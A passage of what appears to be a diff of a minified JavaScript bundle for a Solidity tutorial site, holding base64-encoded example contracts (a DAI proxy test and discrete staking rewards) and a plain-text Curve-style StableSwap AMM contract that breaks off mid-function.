JveHkvRGFpUHJveHkuc29sIjsKCmFkZHJlc3MgY29uc3RhbnQgVkFUID0gMHgzNUQxYjNGM0Q3OTY2QTFERmUyMDdhYTQ1MTRDMTJhMjU5QTA0OTJCOwoKdWludDI1NiBjb25zdGFudCBXQUQgPSAxZTE4Owp1aW50MjU2IGNvbnN0YW50IFJBWSA9IDFlMjc7CnVpbnQyNTYgY29uc3RhbnQgUkFEID0gMWU0NTsKCnVpbnQyNTYgY29uc3RhbnQgRVRIX0FNT1VOVCA9IDEwMCAqIDFlMTg7CnVpbnQyNTYgY29uc3RhbnQgREFJX0FNT1VOVCA9IDEwMDAwICogMWUxODsKCmNvbnRyYWN0IERhaVByb3h5VGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSUNkcE1hbmFnZXIgcHJpdmF0ZSBjb25zdGFudCBjZHBNYW5hZ2VyID0gSUNkcE1hbmFnZXIoQ0RQX01BTkFHRVIpOwogICAgSVZhdCBwcml2YXRlIGNvbnN0YW50IHZhdCA9IElWYXQoVkFUKTsKICAgIERhaVByb3h5IHByaXZhdGUgcHJveHk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHByb3h5ID0gbmV3IERhaVByb3h5KCk7CgogICAgICAgIC8vIENoZWNrIG1pbiBib3Jyb3cKICAgICAgICBJVmF0LklsayBtZW1vcnkgaWxrID0gdmF0Lmlsa3MoRVRIX0MpOwogICAgICAgIGFzc2VydEdlKERBSV9BTU9VTlQgKiBSQVksIGlsay5kdXN0LCAiREFJIGJvcnJvdyBhbW91bnQgPCBkdXN0Iik7CgogICAgICAgIC8vIEludGVyZXN0IHJhdGUgYWNjdW11bGF0b3IKICAgICAgICBjb25zb2xlMi5sb2coImlsay5yYXRlIiwgaWxrLnJhdGUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHByaW50KGFkZHJlc3MgdXJuQWRkcikgcHJpdmF0ZSB7CiAgICAgICAgSVZhdC5Vcm4gbWVtb3J5IHVybiA9IHZhdC51cm5zKEVUSF9DLCB1cm5BZGRyKTsKICAgICAgICBjb25zb2xlMi5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBjb2xsYXRlcmFsIFt3YWRdIiwgdXJuLmluayk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBkZWJ0ICAgICAgIFt3YWRdIiwgdXJuLmFydCk7CiAgICAgICAgY29uc29sZTIubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiRVRIIGluIHByb3h5ICAgICBbd2FkXSIsIGFkZHJlc3MocHJveHkpLmJhbGFuY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfcHJveHkoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgY2RwSWQgPSBwcm94eS5jZHBJZCgpOwogICAgICAgIGFkZHJlc3MgdXJuQWRkciA9IGNkcE1hbmFnZXIudXJucyhjZHBJZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],hm=`

                    Example

                    Example of locking ETH collateral, borrowing DAI, repaying DAI and unlocking ETH using DssProxy.

                    // SPDX-License-Identifier: MIT
-pragma solidity 0.8.24;
+pragma solidity ^0.8.24;
 
 address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
 address constant PROXY_REGISTRY = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
@@ -4517,7 +4517,7 @@ specify the location of the data.
                    
 interface ICdpManager {
     function urns(uint256 cdpId) external view returns (address urn);
 }
-
                    `,hm=({prev:s,next:a})=>r.jsx(u,{version:tm,title:om,description:rm,html:gm,prev:s,next:a,codes:im}),dm="0.8.24",Im="Discrete Staking Rewards",Cm="Discrete staking rewards",jm=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50MjU2IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSKSAvIHRvdGFsU3VwcGx5OwogICAgfQoKICAgIGZ1bmN0aW9uIF9jYWxjdWxhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBzaGFyZXMgPSBiYWxhbmNlT2ZbYWNjb3VudF07CiAgICAgICAgcmV0dXJuIChzaGFyZXMgKiAocmV3YXJkSW5kZXggLSByZXdhcmRJbmRleE9mW2FjY291bnRdKSkgLyBNVUxUSVBMSUVSOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbGN1bGF0ZVJld2FyZHNFYXJuZWQoYWRkcmVzcyBhY2NvdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIGVhcm5lZFthY2NvdW50XSArIF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgZWFybmVkW2FjY291bnRdICs9IF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgICAgIHJld2FyZEluZGV4T2ZbYWNjb3VudF0gPSByZXdhcmRJbmRleDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Rha2UodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICB1aW50MjU2IHJld2FyZCA9IGVhcm5lZFttc2cuc2VuZGVyXTsKICAgICAgICBpZiAocmV3YXJkID4gMCkgewogICAgICAgICAgICBlYXJuZWRbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgICAgICByZXdhcmRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],um=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    +`,Im=({prev:s,next:a})=>r.jsx(u,{version:om,title:rm,description:im,html:hm,prev:s,next:a,codes:gm}),dm="0.8.24",Cm="Discrete Staking Rewards",jm="Discrete staking rewards",um=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50MjU2IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSKSAvIHRvdGFsU3VwcGx5OwogICAgfQoKICAgIGZ1bmN0aW9uIF9jYWxjdWxhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBzaGFyZXMgPSBiYWxhbmNlT2ZbYWNjb3VudF07CiAgICAgICAgcmV0dXJuIChzaGFyZXMgKiAocmV3YXJkSW5kZXggLSByZXdhcmRJbmRleE9mW2FjY291bnRdKSkgLyBNVUxUSVBMSUVSOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbGN1bGF0ZVJld2FyZHNFYXJuZWQoYWRkcmVzcyBhY2NvdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIGVhcm5lZFthY2NvdW50XSArIF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGVSZXdhcmRzKGFkZHJlc3MgYWNjb3VudCkgcHJpdmF0ZSB7CiAgICAgICAgZWFybmVkW2FjY291bnRdICs9IF9jYWxjdWxhdGVSZXdhcmRzKGFjY291bnQpOwogICAgICAgIHJld2FyZEluZGV4T2ZbYWNjb3VudF0gPSByZXdhcmRJbmRleDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFrZSh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Rha2UodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICB1aW50MjU2IHJld2FyZCA9IGVhcm5lZFttc2cuc2VuZGVyXTsKICAgICAgICBpZiAocmV3YXJkID4gMCkgewogICAgICAgICAgICBlYXJuZWRbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgICAgICByZXdhcmRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],Am=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    Discrete Staking Rewards

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4612,7 +4612,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,ym=({prev:s,next:a})=>r.jsx(u,{version:dm,title:Im,description:Cm,html:um,prev:s,next:a,codes:jm}),Am="0.8.24",mm="Stable Swap AMM",bm="Curve's stable swap AMM",wm=[{fileName:"StableSwap.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                     (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
        returns (uint256 shares)
    {
        // calculate current liquidity d0
        uint256 _totalSupply = totalSupply;
        uint256 d0;
        uint256[N] memory old_xs = _xp();
        if (_totalSupply > 0) {
            d0 = _getD(old_xs);
        }

        // Transfer tokens in
        uint256[N] memory new_xs;
        for (uint256 i; i < N; ++i) {
            uint256 amount = amounts[i];
            if (amount > 0) {
                IERC20(tokens[i]).transferFrom(
                    msg.sender, address(this), amount
                );
                new_xs[i] = old_xs[i] + amount * multipliers[i];
            } else {
                new_xs[i] = old_xs[i];
            }
        }

        // Calculate new liquidity d1
        uint256 d1 = _getD(new_xs);
        require(d1 > d0, "liquidity didn't increase");

        // Reccalcuate D accounting for fee on imbalance
        uint256 d2;
        if (_totalSupply > 0) {
            for (uint256 i; i < N; ++i) {
                // TODO: why old_xs[i] * d1 / d0? why not d1 / N?
                uint256 idealBalance = (old_xs[i] * d1) / d0;
                uint256 diff = Math.abs(new_xs[i], idealBalance);
                new_xs[i] -= (LIQUIDITY_FEE * diff) / FEE_DENOMINATOR;
            }

            d2 = _getD(new_xs);
        } else {
            d2 = d1;
        }

        // Update balances
        for (uint256 i; i < N; ++i) {
            balances[i] += amounts[i];
        }

        // Shares to mint = (d2 - d0) / d0 * total supply
        // d1 >= d2 >= d0
        if (_totalSupply > 0) {
            shares = ((d2 - d0) * _totalSupply) / d0;
        } else {
            shares = d2;
        }
        require(shares >= minShares, "shares < min");
        _mint(msg.sender, shares);
    }

    function removeLiquidity(uint256 shares, uint256[N] calldata minAmountsOut)
        external
